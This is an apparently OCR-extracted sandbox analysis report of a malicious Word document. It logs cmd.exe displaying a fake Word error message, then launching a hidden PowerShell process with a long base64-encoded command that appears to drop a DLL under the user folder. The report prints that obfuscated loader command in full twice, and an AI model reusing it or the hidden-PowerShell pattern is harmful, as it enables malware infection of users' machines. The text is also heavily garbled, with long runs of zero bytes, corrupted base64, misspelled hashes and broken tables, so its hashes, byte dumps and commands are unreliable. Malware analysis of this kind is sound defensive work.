00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
RRACHRH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
21D 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF FF
FF FF

00 00 00 00 00 00 00 00 00 00
R@RODHH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 FF FF FF FF

Completion

Source
Count Address

Symbol

Analysis Process: cmd.exe PID: 592 Parent PID: 1220

General

Start time: 18:10:38

Start date: 08/01/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit):

Commandline:

false

cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file.

& POwershelL -w hidden -ENCOD

IAAKAEYAMgBPAEOAWQBGACAAI]AGGAY QBYAFOAKAA2ADQAKQAGACSAIAAKAEUAMGBIAGKAe
ABOAGWAOWAKAFMAOAATAGEAZABVAGQAPQAOACIAIWBIACCAKWANAGYADQANA
CKAKWANADAAJIWATACGAIWBUACCAKWANAHEANAANACKAKQA7ACAAKABSAHMAI
AAOACCAJgBBAHIAaQBhACCAKWANAGIATABIADOAZGANACSAIWAYAGSAIWATA
CcATQB5AEOAIWAPACAAKQAUAFYAQQBSAHUAZQABADOAIGBJAFIAYABFAGAAQ
QBYAFQAZQBKAEKACGBIAGMAVABVAHIAWQAIACGAJABIAESATQBFACAAKWAGA
CgAKAAOACCANABXADCAQYBXACCAKWANAHAAZQANACKAKWAOACCAZQBUACCAK
WANADYAJWAPACSAKAANADQACQASAEIAJWAIACCAYJANACSAIWBZACCAKQATA
CgAIWATAHCAXWANACSAIWBIACCAKQATACIAIWAOAHEAIWAIACCANWANACKAK
QAAFIARQBWAEWAY QBDAEUAKAANADQACQANACSAIWASACCAKQASAFSAYWBOA
GEAUgBAADKAMgAPACKAOWAKAFMADABLAHEAegA4AGKAPQAOACIAIWBIACCAK
WANAGSACQA4AHUAIWAPACSAIWASAHGAIWAPADSAIAAGACIARWBIAHQALQB2A
EEACOBJAEEAQgBSAEUAIAAOACIAMAAIACSAIgBTAEGAMQAIACSAIgBNADMAI
gAPACAALQBWAEEATABIAGUAbWBUAGWAIAAGACKAOGABACIACWBFAGAAYWBgA
FUACOBPAFQAeQBWAHIAbWBUAESAYWBgAGBATAAIACAAPQAGACIAIWBUAGWA)
WArACgAJWBZADEAIWArACCAMANACKAKQA7ACQAVWASAHKACWAZAGWAZAAIA
CgAKAANAEIANWANACSAIWASAHY AJWAPACSAKAANADAAAWANACSAIWBSACCAKCopyright null 2021

AB5ACCAKQAPAC4AIgByAGUAYABQAEWAYQBDAGUAIgAOACYAIWBCACCAKWANA
EQAeQANACKALAANAFWAJWAPACKAKWAKAESAY QAWAGUAawBmMAGEAKWAOACCAL QANACSAIWBOA
GBAZOANACKAKWAOACAAIWBZAEOAKOANACSAIWAOADMAIWAPACKAKWAOACIAJT
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 QBpACCAKQArACgAIWBNACCAKWANAHMATQANACKAKWANAGEAZWANA
CsAKAANAGKAYWBTAHEAIWArACCAdQBhAHIAZQANACKAKWAOACYAIWBKACKA]
WArACcAKAAZAHMAMgAPACYASAANACSAIWBKACCAKWANACKAKAANACKAKQATA
CgAKAANADMAJIWArACCACWAYACKAKAANACKAKQATrACCAQAANACSAIWBOAHQAJ
WArACgAJwBOACCcAKWANAHAACWANACKAKWANADOAJWATACgAKAANAEOAKQANA
CsAJWAOACCAKQAPACSAKAANADMAIWATACCAcWAYACCAKQATACgAKAANACKAK
AANACKAKQArACgAKAANAEOAKQAOACCAKWANADMACWAYACCAKWANACKAKAANA
CsAJWBNAGBAIWArACCAbABKAGKADBABVAGMAawANACKAKQArACgAIJWBzACCAK
WANAHQACcgANACKAKWAOACCAY QANACSAIWBPAGAAaQANACKAKWAOACGAIWBUA
GCAIJWArACCALgANACSAIWBJAGBADQBKACKAKAANACSAIWAZACCAKQAPACSAK
AAOACCACWAYACKAIWArACCAKAANACKAKQArACgAJWB3AHAAIWAIACCALQANA
CKAKWAOACCAaQANACSAIWBUAGMAJIWAPACSAKAANAGWAIWAIACCAAQBKACCAK
QArACgAJwBIAHMAJIWArACcASgANACKAKWANACKAIWArACCAKAANACSAKAAOA
CcAMwBZzADIAKQANACSAIWAOACCAKWANAGIAZgBOAHQAIWAPACKAKWAOACGAJT
WBKACKAKAANACSAIWAZAHMAIWAPACKAKWANADIAIWArACgAKAANACKAKAANA
CsAJWBAAGgAdAANACKAKQATrACgAKAANAHQACABZADOAIWArACCASgAPACCAK
QApPACsAKAAOACCAKAAZAHMAIWArACCAMgAPACIASJANACSAIWAPACgAMwWBZA
CcAKQApPACsAKAAOACCAMgAPACgAagANACSAIWBIAGYAZgBKACCAKWANAGEAa
ABSACCcAKQAPACSAKAAOACcAawBIAC4AIWArACCAYWBVAGOAIWATACCASgANA
CsAJWAPACgAMwBZzADIAKQAOACCAKQAPACSAKAAOACCAYWBZAHMASGANACSAJ
WApPACCAKQAPACSAKAANACGAMwWBZADIAIJWArACCAKQANACKAKWAOACGAIWAOA
GIAZWAOAGAAMWANACSAIWBKACKAKAANACKAKQAIACCAMWANACSAKAAOACCAC
WAYACKAIWArACCAKABAAGYAJAANACSAIWBOAHAAIWAIACCAOgBKACKAKAANA
CsAJWAzZACcAKWANAHMAJWArACCcAMgApACgASgApACgAIWArACcAMwBZADIAK
QA0ACCAKQAPACSAKAANAGEAegANnACSAIWBYAGEAJWArACcAawBOAG8AIWApPA
CsAJwWB1ACCcAKWAOACCcACcgBzACCAKWANACAAYWBVACCAKWANAGOAIWAPACSAK
AAOACCASgANACsAIWAPACIAIWAPACKAKWAOACGAIWAZAHMAIWATACCAMgApPA
CgAIWAPACKAKWAOACCAAWANACSAIWBWACOAYWANACSAIWBVAGAAdABIACCAK
QArACcAbgANACsSAIWBOAEOAIWArACgAKAANACKAKAANACKAKQArACgAKAANA
DMAcwWANACsAIWAYACKAKAANACsAJWBOAFCARgANACKAKQAIrACgAKAANADKAa
gANACSAIWBDAEOAKQANACKAKQArACgAKAANACYAIWArACCAMWBZADIAKQAOA
CcAKWANAEAAIWArACCcAaABOAHQACAANACKAKQArACYJAKAANADOASYAPACCAK
WANACgAMWANACSAIwBzADIAIJWAPACKAKWAOACGAIJWAPACGASYANACSAIWAPA
CgAMWANACKAKQArACcAcwAYACCAKWAOACGAIWAPACYAIWAPACKAKWAOACCAZ
WBVAGWAZABJAGBAJWArACCAY QBzACCAKQAIrACgAIWBOAGBAZANACSAIWBmMA QA4AHMAaQAOADAAPQAOACCATQAZA QANACSAIWA3AGQAIWArACJAIWBYAGAAT
WArACCAMWANACKAKQA7AGIACYBIAGEAawA7ACQASgA4ADIANWBhADYAdWASA
CgAIWBVACCAKWAOACCAMgBzADYAOABIACCAKWANADQAJWAPACKAFQBIAGMAY
QBOAGMAaAB7AHOATQAKAEOAMWBhADUADAALIAGCAPQAOACYAIWBZACCAKWANA
GQANQBZzADKAIJWAPACSAIWBhAGSAIWAPAA==

Imagebase: 0x4a510000

File size: 345088 bytes

MDS5 hash: 5746BD7E255DD6A8BAFA06F7C42C1BA41
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate
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Analysis Process: msg.exe PID: 2504 Parent PID: 592

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

18:10:38

08/01/2021

C:\Windows\System32\msg.exe

false

msg user /v Word experienced an error trying to open the file.
0xff120000

26112 bytes

2214979661E779C3E3C33D4F14E6F3AC

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: powershell.exe PID: 2408 Parent PID: 592
General
Start time: 18:10:39
Start date: 08/01/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Commandline:

Copyright null 2021

false

POwersheLL -w hidden -ENCOD IAAKAEYAMgBPAEOAWQBGACAAI QBYAFOAKAA2ADQAKQAJACSAIAAKAEUAMgBJAGKAe QBDAEUAKAANADQACQANACSAIWA3ACCAKQASAFSAYWBOA QAWAGUAawBmMAGEAKWAOACCAL QANACSAIWBOA
G8AZQANACKAKWAOACGAIWBZAEOAKQANACSAIWAOADMAJIWAPACKAKWAOACGAJ
wBzADIAJWArACCcAKQANACKAKQArACgAKAANACgACgANACKAKQArACgAKAANA
FIAJWArACcAdwBSAHOAIWArACCAYWBKACKAKAAZAHMAMgAPACJAQAANACSAJ
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 QBpACCAKQArACgAIWBNACCAKWANAHMATQANACKAKWANAGEAZWANA
CsAKAANAGKAYWBTAHEAIWArACCAdQBhAHIAZQANACKAKWAOACGAIWBKACKA]
WArACCAKAAZAHMAMgAPACYASAANACSAIWBKACCAKWANACKAKAANACKAKQATA
CgAKAANADMAJIWArACCACWAYACKAKAANACKAKQATrACCAQAANACSAIWBOAHQAJ
WArACgAJwBOACCcAKWANAHAACWANACKAKWANADOAJWATACgAKAANAEOAKQANA
CsAIJWAOACCAKQAPACSAKAANADMAIWATIACCAcWAYACCAKQATACgAKAANACKAK
AANACKAKQArACgAKAANAEOAKQAOACCAKWANADMACWAYACCAKWANACKAKAANA
CsAIJWBNAGBAIWArACCAbABKAGKADABVAGMAawANACKAKQArACgAIJWBzACCAK
WANAHQACgANACKAKWAOACCAY QANACSAIWBPAGAAaQANACKAKWAOACGAIWBUA
GCAIWArACCALgANACSAIWBJAGBADQBKACKAKAANACSAIWAZACCAKQAPACSAK
AAOACCACWAYACKAIWArACCAKAANACKAKQArACgAJWB3AHAAIWAIACCALQANA
CKAKWAOACCAaQANACSAIWBUAGMAJIWAPACSAKAANAGWAIWAIACCAAQBKACCAK
QArACgAJwBIAHMAJIWArACcASgANACKAKWANACKAIWArACCAKAANACSAKAAOA
CcAMwBZzADIAKQANACSAIWAOACCAKWANAGIAZgBOAHQAIWAPACKAKWAOACGAJT
WBKACKAKAANACSAIWAZAHMAIWAPACKAKWANADIAIWArACgAKAANACKAKAANA
CsAJWBAAGgAdAANACKAKQATrACgAKAANAHQACABZADOAIWArACCASgAPACCAK
QApPACsAKAAOACCAKAAZAHMAIWArACCAMgAPACIASJANACSAIWAPACgAMwWBZA
CcAKQApPACsAKAAOACCAMgAPACgAagANACSAIWBIAGYAZgBKACCAKWANAGEAa
ABSACCcAKQAPACSAKAAOACcAawBIAC4AIWArACCAYWBVAGOAIWATACCASgANA
CsAJWAPACgAMwBZzADIAKQAOACCAKQAPACSAKAAOACCAYWBZAHMASGANACSAJ
WApPACCAKQAPACSAKAANACGAMwWBZADIAIJWArACCAKQANACKAKWAOACGAIWAOA
GIAZWAOAGAAMWANACSAIWBKACKAKAANACKAKQAIACCAMWANACSAKAAOACCAC
WAYACKAIWArACCAKABAAGYAJAANACSAIWBOAHAAIWAIACCAOgBKACKAKAANA
CsAJWAzZACCcAKWANAHMAJWArACcAMgApACgASgApACgAIWArACcAMwBZADIAK
QA0ACCAKQAPACSAKAANAGEAegANnACSAIWBYAGEAJWArACcAawBOAG8AIWApPA
CsAJwWB1ACCcAKWAOACCcAcgBzACCAKWANACAAYWBVACCAKWANAGOAIWAPACSAK
AAOACCASgANACsAIWAPACIAIWAPACKAKWAOACGAIWAZAHMAIWATACCAMgApPA
CgAIWAPACKAKWAOACCAAWANACSAIWBWACOAYWANACSAIWBVAGAAdABIACCAK
QArACcAbgANACsSAIWBOAEOAIWArACgAKAANACKAKAANACKAKQArACgAKAANA
DMAcwWANACsAIWAYACKAKAANACsAJWBOAFCARgANACKAKQArACgAKAANADKAa
gANACsAIWBDAEOAKQANACKAKQArACgAKAANACYAIWArACCAMWBZADIAKQAOA
CcAKWANAEAAIWArACCcAaABOAHQACAANACKAKQArACYJAKAANADOASYAPACCAK
WANACgAMWANACSAIwBzADIAIJWAPACKAKWAOACGAIWAPACGASYANACSAIWAPA
CgAMWANACKAKQArACcAcwAYACCAKWAOACGAIWAPACYAIWAPACKAKWAOACCAZ
WBVAGWAZABJAGBAJWArACCAY QBzACCAKQAIACgAIWBOAGBAZJANACSAIWBMA QA4AHMAaQAOADAAPQAOACCATQAZA QANACSAIWA3AGQAIWArACJAIWBYAGAAT
WArACCAMWANACKAKQA7AGIACYBIAGEAawA7ACQASgA4ADIANWBhADYAdWASA
CgAIWBVACCAKWAOACCAMgBzADYAOABIACCAKWANADQAJWAPACKAFQBIAGMAY
QBOAGMAaAB7AHOATQAKAEOAMWBhADUADAAIAGCAPQAOACYAIWBZACCAKWANA
GQANQBZzADKAIJWAPACSAIWBhAGSAIWAPAA==

Imagebase: 0x13fa10000

File size: 473600 bytes

MDS5 hash: 852D67A27E454BD389FA7TF02A8CBE23F
Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET
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Yara matches:

e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000005.00000002.2093207161.0000000001CB4000.00000004.00000040.sdmp,
Author: Florian Roth

e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000005.00000002.2093170388.00000000002B6000.00000004.00000001.sdmp,
Author: Florian Roth

Reputation: high
File Activities
File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\Bgpeen6 read data or list device directory file | success or wait 1 7FEEB99BEC7 CreateDirectoryW
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\Bgpeen6\Bbs5w_e read data or list device directory file | success or wait 1 7FEEB99BEC7 CreateDirectoryW
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\Bgpeen6\Bbs5w_e\Yvtlx6p4.dll read attributes | device synchronous io  success or wait 1 7FEEB99BEC7 CreateFileW
synchronize | non alert | non
generic write directory file |
open no recall
Source
Old File Path New File Path Completion Count Address Symbol
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\Bgpeen6\Bbs5w_e\Yvtlx6p4.dll

unknown 4096

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff

00 00 b8 00 00 00 00
00 00 00 40 00 00 00
00 00 00 00 00 00 00

............ 1..L.IThis program
cannot be run in DOS
mode....

success or wait

12 7FEE899BEC7 WriteFile

00 00 00 00 000000 $
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 f0 00 00
00 Oe 1fbaOe 00 b4 PE..L...H._..
09 cd 21 b8 01 4c cd

21546869 732070

72 6f 67 72 61 6d 20

63 61 6e 6e 6f 74 20

62 65 20 72 75 6e 20

69 6e 20 44 4f 53 20

6d 6f 64 65 2e 0d 0d

0a 24 00 00 00 00 00

00005993 4c 43 1d

f222 10 1d f2 22 10

1d f2 22 10 03 a0 b7

10 0f f2 22 10 03 a0

al 106122210 1d

f2 231064 f2 22 10

3a 345910 1af2 22

1003 a0 a6 10 25 {2

221003 a0b0 10 1c

f222 10 03 a0 b6 10

1c 22210 03 a0 b3

10 1c f2 22 10 52 69

63 68 1d f2 22 10 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 50 45 00 00 4c

01 05 00 f8 48 e2 5f

00 00 00
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File Path Offset

C:\Users\user\Bgpeen6\Bbs5w_e\Yvtlx6p4.dll unknown 7616

C:\Users\user\Bgpeen6\Bbs5w_e\Yvtlx6p4.dll unknown 3840

File Read

File Path

C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml

Copyright null 2021

Length Value

00 8b ff 55 8b ec 8b
55 0c 2b 55 08 8b 01
52 ff 75 10 ff 75 Oc ff
75 08 ff 50 1c 5d c2
Oc 00 8b ff 55 8b ec
56 8b 75 Oc 2b 75 08
39751473 05e8 7d
2400 00 56 ff 75 08
ff 75 14 ff 75 10 e8
93 1c 00 00 8b 45 Oc
83 ¢4 10 5e 5d c2 10
00 8b ff 55 8b ec 8a
45 08 5d c2 08 00 8b
ff 55 8b ec 8b 55 Oc
2b 55 08 8b 01 52 ff
75 14 ff 75 10 ff 75
Oc ff 75 08 ff 50 28
5d c2 10 00 8b ff 55
8b ec 56 8b 75 Oc 2b
7508 39 75 18 73 05
€8 20 24 00 00 56 ff
75 08 ff 75 18 ff 75
14 e8 36 1c 00 00 8b
45 0Oc 83 c4 10 5e 5d
€214 00 8b ff 56 8b
f1 ¢7 06 50 63 01 10
e8 8e fe ff ff c7 06 30
63 01 10 5e c3 8b ff
55 8b ec 56 8b f1 e8
db ff ff ff f6 45 08 01
74 07 56 e8 b4 1e 00
00 59 8b c6 5e 5d c2
04 00 8d 41 04 8b 48
fc 8b 49 04 c7 44 01
fc 40 63 01 10 50 c7
00 38 63 01 10 €8 87

00 00 00 00 00 00 00

00 00 00 00 00 00 00 .
00 00 00 00 00 0000 .
00 00 00 00 00 00 00 .
00 00 00 00 00 00 00 .
00 00 00 00 0000 00 .
00 00 00 00 00 00 00 .
00 00 00 00 00 00 00 .

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00

Ascii

..U..U+U..R.u..u..u..P]..
..U.V.u+u9u.s.}$.V.u..u

U BN ULELL

..U..U+U..Ruu..u..u..u..P(
]....U.V.u.+u.9us.. $..V.u.

.U.U..6...E.."....V...P
.0c.M..U.V.

E.tV...Y."...A.H.L.D

..@c..P..8c....

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00
Offset Length
unknown 4095
unknown 6304
unknown 4095
unknown 4096
unknown 781

Completion

success or wait

success or wait

Completion

success or wait
success or wait
success or wait
success or wait

end of file

Count Address

24

1

Count Address

Source
Symbol

7FEE899BEC7 WriteFile

7FEE899BEC7 WriteFile

Source
Symbol

7FEE8805208 unknown
7FEE8805208 unknown
7FEE892A287 ReadFile
7FEE899BEC7 ReadFile
7FEE899BEC7 ReadFile
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File Path Offset Length Completion
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait

0.0.0__31bf3856ad364e35\System.Management.Automation.dll

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait
0.0.0__31bf3856ad364e35\System.Management.Automation.dll

C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file

Registry Activities

Key Path Completion

Key Path Name Type Data Completion

Count

1

(=30 S P = [T e [ [T S (S s

e
[e]

P R R O R R O R R

Source
Address

7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
7FEE899BEC7
